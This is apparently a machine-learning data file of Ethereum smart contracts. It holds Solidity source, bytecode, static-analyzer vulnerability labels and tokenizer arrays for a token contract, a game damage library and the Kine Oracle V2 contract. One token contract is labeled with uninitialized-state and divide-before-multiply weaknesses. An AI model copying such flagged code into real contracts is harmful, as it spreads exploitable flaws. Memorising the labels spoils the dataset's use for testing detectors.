- b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x60606040526004361061015d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461016b57806306fdde031461019c57806310d0ffdd1461022657806318160ddd1461023c578063226093731461024f57806327defa1f14610265578063313ce5671461028c5780633ccfd60b146102b55780634b750334146102ca57806356d399e8146102dd578063688abbf7146102f05780636b2f46321461030857806370a082311461031b57806376be15851461033a5780638328b610146103595780638620410b1461036f57806387c9505814610382578063949e8acd146103a657806395d89b41146103b9578063a8e04f34146103cc578063a9059cbb146103df578063b84c824614610401578063c47f002714610452578063e4849b32146104a3578063e9fad8ee146104b9578063f088d547146104cc578063fdb5a03e146104e0575b6101683460006104f3565b50005b341561017657600080fd5b61018a600160a060020a0360043516610ae5565b60405190815260200160405180910390f35b34156101a757600080fd5b6101af610b20565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101eb5780820151838201526020016101d3565b50505050905090810190601f1680156102185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023157600080fd5b61018a600435610bbe565b341561024757600080fd5b61018a610bee565b341561025a57600080fd5b61018a600435610bf5565b341561027057600080fd5b610278610c2e565b604051901515815260200160405180910390f35b341561029757600080fd5b61029f610c37565b60405160ff909116815260200160405180910390f35b34156102c057600080fd5b6102c8610c3c565b005b34156102d557600080fd5b61018a610d1a565b34156102e857600080fd5b61018a610d6e565b34156102fb57600080fd5b61018a6004351515610d74565b341561031357600080fd5b61018a610db7565b341561032657600080fd5b61018a600160a060020a0360043516610dc5565b341561034557600080fd5b610278600160a060020a0360043516610de0565b341561036457600080fd5b6102c8600435610df5565b341561037a57600080fd5b61018a610e23565b341561038d57600080fd5b6102c8600160a060020a03600435166024351515610e6b565b34156103b157600080fd5b61018a610ebf565b34156103c457600080fd5b6101af610ed2565b34156103d757600080fd5b6102c8610f3d565b34156103ea57600080fd5b610278600160a060020a0360043516602435610f72565b341561040c57600080fd5b6102c860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061113c95505050505050565b341561045d57600080fd5b6102c860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061117c95505050505050565b34156104ae57600080fd5b6102c86004356111b7565b34156104c457600080fd5b6102c8611326565b61018a600160a060020a0360043516611374565b34156104eb57600080fd5b6102c8611393565b60008060008060008060008060008a6000339050600c60009054906101000a900460ff16801561053557506801158e460913d0000082610531610db7565b0311155b1561085057600160a060020a03811660009081526004602052604090205460ff161515600114801561058a5750600160a060020a038116600090815260086020526040902054670de0b6b3a764000090830111155b151561059557600080fd5b600160a060020a0381166000908152600860205260409020546105b89083611461565b600160a060020a038216600090815260086020526040902055610384610708420611156105e457600080fd5b3399506105f28d6005611477565b98506105ff896003611477565b975061060b898961148e565b96506106178d8a61148e565b9550610622866114a0565b9450680100000000000000008702935060008511801561064c575060095461064a8682611461565b115b151561065757600080fd5b600160a060020a038c1615801590610681575089600160a060020a03168c600160a060020a031614155b80156106a75750600354600160a060020a038d1660009081526005602052604090205410155b156106ed57600160a060020a038c166000908152600660205260409020546106cf9089611461565b600160a060020a038d16600090815260066020526040902055610708565b6106f78789611461565b965068010000000000000000870293505b6000600954111561076c5761071f60095486611461565b600981905568010000000000000000880281151561073957fe5b600a805492909104909101905560095468010000000000000000880281151561075e57fe5b048502840384039350610772565b60098590555b600160a060020a038a166000908152600560205260409020546107959086611461565b600560008c600160a060020a0316600160a060020a03168152602001908152602001600020819055508385600a540203925082600760008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a50610ad5565b600c805460ff191690556103846107084206111561086d57600080fd5b33995061087b8d6005611477565b9850610888896003611477565b9750610894898961148e565b96506108a08d8a61148e565b95506108ab866114a0565b945068010000000000000000870293506000851180156108d557506009546108d38682611461565b115b15156108e057600080fd5b600160a060020a038c161580159061090a575089600160a060020a03168c600160a060020a031614155b80156109305750600354600160a060020a038d1660009081526005602052604090205410155b1561097657600160a060020a038c166000908152600660205260409020546109589089611461565b600160a060020a038d16600090815260066020526040902055610991565b6109808789611461565b965068010000000000000000870293505b600060095411156109f5576109a860095486611461565b60098190556801000000000000000088028115156109c257fe5b600a80549290910490910190556009546801000000000000000088028115156109e757fe5b0485028403840393506109fb565b60098590555b600160a060020a038a16600090815260056020526040902054610a1e9086611461565b600560008c600160a060020a0316600160a060020a03168152602001908152602001600020819055508385600a540203925082600760008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a505b5050505050505050505092915050565b600160a060020a0316600090815260076020908152604080832054600590925290912054600a54680100000000000000009102919091030490565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb65780601f10610b8b57610100808354040283529160200191610bb6565b820191906000526020600020905b815481529060010190602001808311610b9957829003601f168201915b505050505081565b6000808080610bce856005611477565b9250610bda858461148e565b9150610be5826114a0565b95945050505050565b6009545b90565b6000806000806009548511151515610c0c57600080fd5b610c1585611538565b9250610c22836005611477565b9150610be5838361148e565b600c5460ff1681565b601281565b6000806000610c4b6001610d74565b11610c5557600080fd5b610384610708420611610c6757600080fd5b339150610c746000610d74565b600160a060020a0383166000818152600760209081526040808320805468010000000000000000870201905560069091528082208054929055920192509082156108fc0290839051600060405180830381858888f193505050501515610cd957600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b60008060008060095460001415610d38576414f46b04009350610d68565b610d49670de0b6b3a7640000611538565b9250610d56836005611477565b9150610d62838361148e565b90508093505b50505090565b60035481565b60003382610d8a57610d8581610ae5565b610dae565b600160a060020a038116600090815260066020526040902054610dac82610ae5565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526005602052604090205490565b600b6020526000908152604090205460ff1681565b33600160a060020a0381166000908152600b602052604090205460ff161515610e1d57600080fd5b50600355565b60008060008060095460001415610e415764199c82cc009350610d68565b610e52670de0b6b3a7640000611538565b9250610e5f836005611477565b9150610d628383611461565b33600160a060020a0381166000908152600b602052604090205460ff161515610e9357600080fd5b50600160a060020a03919091166000908152600b60205260409020805460ff1916911515919091179055565b600033610ecb81610dc5565b91505b5090565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb65780601f10610b8b57610100808354040283529160200191610bb6565b33600160a060020a0381166000908152600b602052604090205460ff161515610f6557600080fd5b50600c805460ff19169055565b600080600080600080610f83610ebf565b11610f8d57600080fd5b610384610708420611610f9f57600080fd5b600c5433945060ff16158015610fcd5750600160a060020a0384166000908152600560205260409020548611155b1515610fd857600080fd5b6000610fe46001610d74565b1115610ff257610ff2610c3c565b610ffd866005611477565b9250611009868461148e565b915061101483611538565b90506110226009548461148e565b600955600160a060020a038416600090815260056020526040902054611048908761148e565b600160a060020a0380861660009081526005602052604080822093909355908916815220546110779083611461565b600160a060020a03888116600081815260056020908152604080832095909555600a8054948a16835260079091528482208054948c029094039093558254918152929092208054928502909201909155546009546110eb91906801000000000000000084028115156110e557fe5b04611461565b600a55600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b33600160a060020a0381166000908152600b602052604090205460ff16151561116457600080fd5b60028280516111779291602001906115d9565b505050565b33600160a060020a0381166000908152600b602052604090205460ff1615156111a457600080fd5b60018280516111779291602001906115d9565b60008060008060008060006111ca610ebf565b116111d457600080fd5b6103846107084206116111e657600080fd5b33600160a060020a03811660009081526005602052604090205490965087111561120f57600080fd5b86945061121b85611538565b9350611228846005611477565b9250611234848461148e565b91506112426009548661148e565b600955600160a060020a038616600090815260056020526040902054611268908661148e565b600160a060020a038716600090815260056020908152604080832093909355600a5460079091529181208054928802680100000000000000008602019283900390556009549192509011156112d9576112d5600a546009546801000000000000000086028115156110e557fe5b600a555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b60008061038461070842061161133b57600080fd5b505033600160a060020a0381166000908152600560205260408120549081111561136857611368816111b7565b611370610c3c565b5050565b60006103846107084206111561138957600080fd5b610db134836104f3565b6000806000806113a36001610d74565b116113ad57600080fd5b610384610708420611156113c057600080fd5b6113ca6000610d74565b33600160a060020a0381166000908152600760209081526040808320805468010000000000000000870201905560069091528120805490829055909201945092506114169084906104f3565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b60008282018381101561147057fe5b9392505050565b600080828481151561148557fe5b04949350505050565b60008282111561149a57fe5b50900390565b6009546000906c01431e0fae6d7217caa00000009082906402540be40061152561151f730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e400000000000000016115a4565b8561148e565b81151561152e57fe5b0403949350505050565b600954600090670de0b6b3a76400008381019181019083906115916414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be4000281151561158b57fe5b0461148e565b81151561159a57fe5b0495945050505050565b80600260018201045b81811015610db15780915060028182858115156115c657fe5b04018115156115d157fe5b0490506115ad565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061161a57805160ff1916838001178555611647565b82800160010185558215611647579182015b8281111561164757825182559160200191906001019061162c565b50610ece92610bf29250905b80821115610ece57600081556001016116535600a165627a7a723058205bc40582cbc073a5e5ab236e4f42f5d5d9cdeb3fb06afc7e8a6697a5315d8b330029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21619, 16576, 2063, 2487, 4215, 2683, 21486, 2546, 18139, 2278, 2575, 27235, 20958, 2509, 2497, 2575, 16048, 2278, 2692, 2063, 2692, 2063, 2620, 27421, 16086, 2497, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2322, 1025, 1013, 1008, 1008, 2136, 2074, 7534, 1012, 1012, 13433, 14876, 5302, 11263, 2094, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1008, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1008, 1008, 1064, 1035, 1064, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1008, 1008, 1064, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,098
0x9636708935A7b19523556dD1e5aE84a44Bf48451
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Damage { struct DamageComponent { uint32 m; uint32 d; } uint256 public constant PRECISION = 10; function computeDamage(DamageComponent memory dmg) public pure returns (uint256) { return (dmg.m * dmg.d) / PRECISION; } // This function assumes a hero is equipped after state change function getDamageUpdate( Damage.DamageComponent calldata dmg, Damage.DamageComponent[] calldata removed, Damage.DamageComponent[] calldata added ) public pure returns (Damage.DamageComponent memory) { Damage.DamageComponent memory updatedDmg = Damage.DamageComponent( dmg.m, dmg.d ); for (uint256 i = 0; i < removed.length; i++) { updatedDmg.m -= removed[i].m; updatedDmg.d -= removed[i].d; } for (uint256 i = 0; i < added.length; i++) { updatedDmg.m += added[i].m; updatedDmg.d += added[i].d; } return updatedDmg; } // This function assumes a hero is equipped after state change function getDamageUpdate( Damage.DamageComponent calldata dmg, Damage.DamageComponent calldata removed, Damage.DamageComponent calldata added ) public pure returns (Damage.DamageComponent memory) { Damage.DamageComponent memory updatedDmg = Damage.DamageComponent( dmg.m, dmg.d ); updatedDmg.m -= removed.m; updatedDmg.d -= removed.d; updatedDmg.m += added.m; updatedDmg.d += added.d; return updatedDmg; } }
0x739636708935a7b19523556dd1e5ae84a44bf4845130146080604052600436106100565760003560e01c80635b68be821461005b5780637b27de2914610097578063aaf5eb68146100aa578063b4bf6d56146100c0575b600080fd5b61006e610069366004610407565b6100d3565b60408051825163ffffffff90811682526020938401511692810192909252015b60405180910390f35b61006e6100a5366004610489565b610278565b6100b2600a81565b60405190815260200161008e565b6100b26100ce3660046104e8565b610375565b6040805180820190915260008082526020820152604080518082019091526000908061010260208a018a610551565b63ffffffff1681526020018860200160208101906101209190610551565b63ffffffff169052905060005b858110156101cb5786868281811061014757610147610573565b61015d9260206040909202019081019150610551565b8251839061016c90839061059f565b63ffffffff1690525086868281811061018757610187610573565b905060400201602001602081019061019f9190610551565b826020018181516101b0919061059f565b63ffffffff16905250806101c3816105c4565b91505061012d565b5060005b8381101561026d578484828181106101e9576101e9610573565b6101ff9260206040909202019081019150610551565b8251839061020e9083906105df565b63ffffffff1690525084848281811061022957610229610573565b90506040020160200160208101906102419190610551565b8260200181815161025291906105df565b63ffffffff1690525080610265816105c4565b9150506101cf565b509695505050505050565b604080518082019091526000808252602082015260408051808201909152600090806102a76020880188610551565b63ffffffff1681526020018660200160208101906102c59190610551565b63ffffffff16905290506102dc6020850185610551565b815182906102eb90839061059f565b63ffffffff169052506103046040850160208601610551565b81602001818151610315919061059f565b63ffffffff1690525061032b6020840184610551565b8151829061033a9083906105df565b63ffffffff169052506103536040840160208501610551565b8160200181815161036491906105df565b63ffffffff16905250949350505050565b6000600a8260200151836000015161038d9190610607565b63ffffffff1661039d9190610633565b92915050565b6000604082840312156103b557600080fd5b50919050565b60008083601f8401126103cd57600080fd5b50813567ffffffffffffffff8111156103e557600080fd5b6020830191508360208260061b850101111561040057600080fd5b9250929050565b60008060008060006080868803121561041f57600080fd5b61042987876103a3565b9450604086013567ffffffffffffffff8082111561044657600080fd5b61045289838a016103bb565b9096509450606088013591508082111561046b57600080fd5b50610478888289016103bb565b969995985093965092949392505050565b600080600060c0848603121561049e57600080fd5b6104a885856103a3565b92506104b785604086016103a3565b91506104c685608086016103a3565b90509250925092565b803563ffffffff811681146104e357600080fd5b919050565b6000604082840312156104fa57600080fd5b6040516040810181811067ffffffffffffffff8211171561052b57634e487b7160e01b600052604160045260246000fd5b604052610537836104cf565b8152610545602084016104cf565b60208201529392505050565b60006020828403121561056357600080fd5b61056c826104cf565b9392505050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600063ffffffff838116908316818110156105bc576105bc610589565b039392505050565b60006000198214156105d8576105d8610589565b5060010190565b600063ffffffff8083168185168083038211156105fe576105fe610589565b01949350505050565b600063ffffffff8083168185168183048111821515161561062a5761062a610589565b02949350505050565b60008261065057634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220f38ec5b50d58b71db9635f9948303e771a9a0cdc935a0bf5b073d452933e025f64736f6c634300080b0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21619, 19841, 2620, 2683, 19481, 2050, 2581, 2497, 16147, 25746, 19481, 26976, 14141, 2487, 2063, 2629, 6679, 2620, 2549, 2050, 22932, 29292, 18139, 19961, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 3075, 4053, 1063, 2358, 6820, 6593, 4053, 9006, 29513, 3372, 1063, 21318, 3372, 16703, 1049, 1025, 21318, 3372, 16703, 1040, 1025, 1065, 21318, 3372, 17788, 2575, 2270, 5377, 11718, 1027, 2184, 1025, 3853, 24806, 8067, 3351, 1006, 4053, 9006, 29513, 3372, 3638, 1040, 24798, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1006, 1040, 24798, 1012, 1049, 1008, 1040, 24798, 1012, 1040, 1007, 1013, 11718, 1025, 1065, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,099
0x9636Ea80329B4F0FC5AF2506B12242C023A30Cc7
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "./PriceConfig.sol"; import "./IUniswapV2Pair.sol"; /// @title Kine Protocol Oracle V2 /// @author Kine Technology contract KineOracleV2 is PriceConfig { /// @notice The latest mcd update time uint public mcdLastUpdatedAt; /// @notice The scale constant uint public constant priceScale = 1e36; /// @notice The kaptain address allowed to operate oracle prices address public kaptain; /// @notice The symbol hash of the string "MCD" bytes32 public constant mcdHash = keccak256(abi.encodePacked("MCD")); /// @notice The kaptain prices mapped by symbol hash mapping(bytes32 => uint) public prices; /// @notice Kaptain post price event event PriceUpdated(string symbol, uint price); /// @notice The event emitted when Kaptain is updated event KaptainUpdated(address fromAddress, address toAddress); /// @notice Only kaptain can update kaptain price and mcd price modifier onlyKaptain(){ require(kaptain == _msgSender(), "caller is not Kaptain"); _; } constructor(address kaptain_, KTokenConfig[] memory configs) public { kaptain = kaptain_; for (uint i = 0; i < configs.length; i++) { KTokenConfig memory config = configs[i]; _pushConfig(config); } } /********************************************************************************************* * Price controller needs * gup = getUnderlyingPrice Pr * 1e36 * Pr = realPricePerToken gup = --------------- * Ub = baseUnit Ub *********************************************************************************************/ /** * @notice Get the underlying price of a kToken * @param kToken The kToken address for price retrieval * @return Price denominated in USD */ function getUnderlyingPrice(address kToken) public view returns (uint){ KTokenConfig memory config = getKConfigByKToken(kToken); uint price; if (config.priceSource == PriceSource.CHAINLINK) { price = _calcPrice(_getChainlinkPrice(config), config); }else if (config.priceSource == PriceSource.KAPTAIN) { price = _calcPrice(_getKaptainPrice(config), config); }else if (config.priceSource == PriceSource.LP){ price = _calcLpPrice(config); }else{ revert("invalid price source"); } require(price != 0, "invalid price 0"); return price; } /** * @notice Get the underlying price with a token symbol * @param symbol The token symbol for price retrieval * @return Price denominated in USD */ function getUnderlyingPriceBySymbol(string memory symbol) external view returns (uint){ KTokenConfig memory config = getKConfigBySymbolHash(keccak256(abi.encodePacked(symbol))); return getUnderlyingPrice(config.kToken); } /********************************************************************************************* * gup = getUnderlyingPrice * Ps = priceFromPriceSource Ps * 1e36 * Up = priceUnit gup = ------------- * Ub = baseUnit PM * PM = Up * Ub *********************************************************************************************/ /** * @notice Calculate the price to fit the price Kine controller needs * @param price The price from price source such as chainlink * @param config The kToken configuration * @return Price denominated in USD */ function _calcPrice(uint price, KTokenConfig memory config) internal pure returns (uint){ return price.mul(priceScale).div(config.priceMantissa); } /********************************************************************************************* * Pl = lpPrice * p0 = token0_PriceFromPriceSource * p1 = token1_PriceFromPriceSource * r0 = reserve0 2 * sqrt(p0 * r0) * sqrt(p1 * r1) * 1e36 * r1 = reserve1 Pl = -------------------------------------------- * PM0 = Token0_PriceMantissa totalSupply * sqrt(PM0 * PM1) * PM1 = Token1_PriceMantissa * totalSupply = LP totalSupply * PriceMantissa = priceUnit * baseUnit *********************************************************************************************/ function _calcLpPrice(KTokenConfig memory config) internal view returns (uint){ uint numerator; uint denominator; KTokenConfig memory config0; KTokenConfig memory config1; { address token0 = IUniswapV2Pair(config.underlying).token0(); address token1 = IUniswapV2Pair(config.underlying).token1(); config0 = getKConfigByUnderlying(token0); config1 = getKConfigByUnderlying(token1); } { (uint r0, uint r1, ) = IUniswapV2Pair(config.underlying).getReserves(); numerator = (_getSourcePrice(config0).mul(r0).sqrt()) .mul(_getSourcePrice(config1).mul(r1).sqrt()) .mul(2).mul(priceScale); } { uint totalSupply = IUniswapV2Pair(config.underlying).totalSupply(); uint pmMultiplier = config0.priceMantissa.mul(config1.priceMantissa); denominator = totalSupply.mul(pmMultiplier.sqrt()); } return numerator.div(denominator); } function _getSourcePrice(KTokenConfig memory config) internal view returns (uint){ if (config.priceSource == PriceSource.CHAINLINK) { return _getChainlinkPrice(config); } if (config.priceSource == PriceSource.KAPTAIN) { return _getKaptainPrice(config); } revert("invalid config"); } function _getChainlinkPrice(KTokenConfig memory config) internal view returns (uint){ // Check aggregator address AggregatorV3Interface agg = aggregators[config.symbolHash]; require(address(agg) != address(0), "aggregator address not found"); (, int price, , ,) = agg.latestRoundData(); return uint(price); } function _getKaptainPrice(KTokenConfig memory config) internal view returns (uint){ return prices[config.symbolHash]; } /// @notice Only Kaptain allowed to operate prices function postPrices(string[] calldata symbolArray, uint[] calldata priceArray) external onlyKaptain { require(symbolArray.length == priceArray.length, "length mismatch"); // iterate and set for (uint i = 0; i < symbolArray.length; i++) { KTokenConfig memory config = getKConfigBySymbolHash(keccak256(abi.encodePacked(symbolArray[i]))); require(config.priceSource == PriceSource.KAPTAIN, "can only post kaptain price"); require(config.symbolHash != mcdHash, "cannot post mcd price here"); require(priceArray[i] != 0, "price cannot be 0"); prices[config.symbolHash] = priceArray[i]; } } /// @notice Kaptain call to set the latest mcd price function postMcdPrice(uint mcdPrice) external onlyKaptain { require(mcdPrice != 0, "MCD price cannot be 0"); mcdLastUpdatedAt = block.timestamp; prices[mcdHash] = mcdPrice; emit PriceUpdated("MCD", mcdPrice); } function changeKaptain(address kaptain_) external onlyOwner { require(kaptain != kaptain_, "same kaptain"); address oldKaptain = kaptain; kaptain = kaptain_; emit KaptainUpdated(oldKaptain, kaptain); } function addConfig(address kToken_, address underlying_, bytes32 symbolHash_, uint baseUnit_, uint priceUnit_, PriceSource priceSource_) external onlyOwner { KTokenConfig memory config = KTokenConfig({ kToken : kToken_, underlying : underlying_, symbolHash : symbolHash_, baseUnit : baseUnit_, priceUnit : priceUnit_, priceMantissa: baseUnit_.mul(priceUnit_), priceSource : priceSource_ }); _pushConfig(config); } function removeConfigByKToken(address kToken) external onlyOwner { KTokenConfig memory configToDelete = _deleteConfigByKToken(kToken); // remove all token related information delete prices[configToDelete.symbolHash]; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638da5cb5b116100f9578063db3b3db111610097578063e8b7c5d211610071578063e8b7c5d21461037e578063f2fde38b14610391578063f3f9868b146103a4578063fc57d4df146103ac576101a9565b8063db3b3db114610345578063e130ae6214610358578063e898a8021461036b576101a9565b8063a5ede078116100d3578063a5ede07814610304578063a81796bf1461030c578063bb0458211461031f578063c509ab4314610332576101a9565b80638da5cb5b146102e15780639b233733146102e9578063a0fbddaf146102fc576101a9565b80635a31ee45116101665780637103353e116101405780637103353e14610286578063715018a6146102a657806371504dfb146102ae57806372d29112146102ce576101a9565b80635a31ee451461024d57806360846bc614610260578063676334b314610273576101a9565b80630951c9c3146101ae5780631cf92e1e146101d757806321632a23146101ec57806325f5682a1461020157806340fb2e0114610227578063579f14501461023a575b600080fd5b6101c16101bc366004611ea9565b6103bf565b6040516101ce919061250d565b60405180910390f35b6101df6103fe565b6040516101ce91906120cf565b6101ff6101fa366004611e28565b610404565b005b61021461020f366004611e91565b61061e565b6040516101ce9796959493929190612081565b6101ff610235366004611e28565b61067a565b6101df610248366004611ea9565b6106b5565b6101ff61025b366004611d87565b6106e9565b6101df61026e366004611e91565b6107ad565b6101ff610281366004611d87565b6107bf565b610299610294366004611e91565b61081d565b6040516101ce9190612053565b6101ff610838565b6102c16102bc366004611d87565b6108b7565b6040516101ce9190612119565b6101df6102dc366004611d87565b610950565b610299610a3a565b6101ff6102f7366004611e91565b610a49565b6101df610b18565b610299610b2b565b6101ff61031a366004611dbf565b610b3a565b6101df61032d366004611d87565b610bec565b6101c1610340366004611d87565b610ccc565b6101c1610353366004611d87565b610da3565b6101ff610366366004611e28565b610db6565b6101df610379366004611e91565b610f0c565b6101c161038c366004611e91565b610fda565b6101ff61039f366004611d87565b610fed565b6101df6110a3565b6101df6103ba366004611d87565b6110cb565b6103c7611cea565b6103f6826040516020016103db9190612028565b60405160208183030381529060405280519060200120610fda565b90505b919050565b60045481565b61040c6111cf565b6000546001600160a01b039081169116146104425760405162461bcd60e51b815260040161043990612372565b60405180910390fd5b8281146104615760405162461bcd60e51b8152600401610439906122d0565b60005b8381101561061757610474611cea565b6104a686868481811061048357fe5b9050602002810190610495919061256f565b6040516020016103db929190612018565b905060008484848181106104b657fe5b90506020020160208101906104cb9190611d87565b60408381015160009081526001602090815282822080546001600160a01b0319166001600160a01b038616908117909155835163313ce56760e01b815293519495509193919263313ce5679260048083019392829003018186803b15801561053257600080fd5b505afa158015610546573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056a9190611ff7565b60ff169050826080015181600a0a146105955760405162461bcd60e51b81526004016104399061245a565b7f74b011dd1d87f5c95503daa2492d016f51e4b3c6a2fe5df050a971898948b66c8888868181106105c257fe5b90506020028101906105d4919061256f565b8888888181106105e057fe5b90506020020160208101906105f59190611d87565b604051610604939291906120d8565b60405180910390a1505050600101610464565b5050505050565b6003818154811061062b57fe5b600091825260209091206007909102018054600182015460028301546003840154600485015460058601546006909601546001600160a01b039586169750949093169491939092919060ff1687565b6106826111cf565b6000546001600160a01b039081169116146106af5760405162461bcd60e51b815260040161043990612372565b50505050565b60006106bf611cea565b6106d3836040516020016103db9190612028565b90506106e281600001516110cb565b9392505050565b6106f16111cf565b6000546001600160a01b0390811691161461071e5760405162461bcd60e51b815260040161043990612372565b6005546001600160a01b038281169116141561074c5760405162461bcd60e51b81526004016104399061227f565b600580546001600160a01b038381166001600160a01b031983161792839055604051918116927f98d4ce1aa09e8bff977cd04baf72bd5c08dc277486f183b7eda48e532c715222926107a19285921690612067565b60405180910390a15050565b60066020526000908152604090205481565b6107c76111cf565b6000546001600160a01b039081169116146107f45760405162461bcd60e51b815260040161043990612372565b6107fc611cea565b610805826111d3565b60409081015160009081526006602052908120555050565b6001602052600090815260409020546001600160a01b031681565b6108406111cf565b6000546001600160a01b0390811691161461086d5760405162461bcd60e51b815260040161043990612372565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600260208181526000928352604092839020805484516001821615610100026000190190911693909304601f81018390048302840183019094528383529192908301828280156109485780601f1061091d57610100808354040283529160200191610948565b820191906000526020600020905b81548152906001019060200180831161092b57829003601f168201915b505050505081565b6000805b600354811015610a3057610966611cea565b6003828154811061097357fe5b60009182526020918290206040805160e081018252600790930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600380830154606083015260048301546080830152600583015460a0830152600683015491929160c084019160ff909116908111156109f057fe5b60038111156109fb57fe5b815250509050836001600160a01b031681600001516001600160a01b03161415610a27575090506103f9565b50600101610954565b5060001992915050565b6000546001600160a01b031690565b610a516111cf565b6005546001600160a01b03908116911614610a7e5760405162461bcd60e51b815260040161043990612488565b80610a9b5760405162461bcd60e51b8152600401610439906123de565b426004819055508060066000604051602001610ab690612044565b604051602081830303815290604052805190602001208152602001908152602001600020819055507f159e83f4712ba2552e68be9d848e49bf6dd35c24f19564ffd523b6549450a2f481604051610b0d9190612435565b60405180910390a150565b6ec097ce7bc90715b34b9f100000000081565b6005546001600160a01b031681565b610b426111cf565b6000546001600160a01b03908116911614610b6f5760405162461bcd60e51b815260040161043990612372565b610b77611cea565b6040518060e00160405280886001600160a01b03168152602001876001600160a01b03168152602001868152602001858152602001848152602001610bc5858761118c90919063ffffffff16565b8152602001836003811115610bd657fe5b90529050610be38161145f565b50505050505050565b6000805b600354811015610a3057610c02611cea565b60038281548110610c0f57fe5b60009182526020918290206040805160e081018252600790930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600380830154606083015260048301546080830152600583015460a0830152600683015491929160c084019160ff90911690811115610c8c57fe5b6003811115610c9757fe5b815250509050836001600160a01b031681602001516001600160a01b03161415610cc3575090506103f9565b50600101610bf0565b610cd4611ce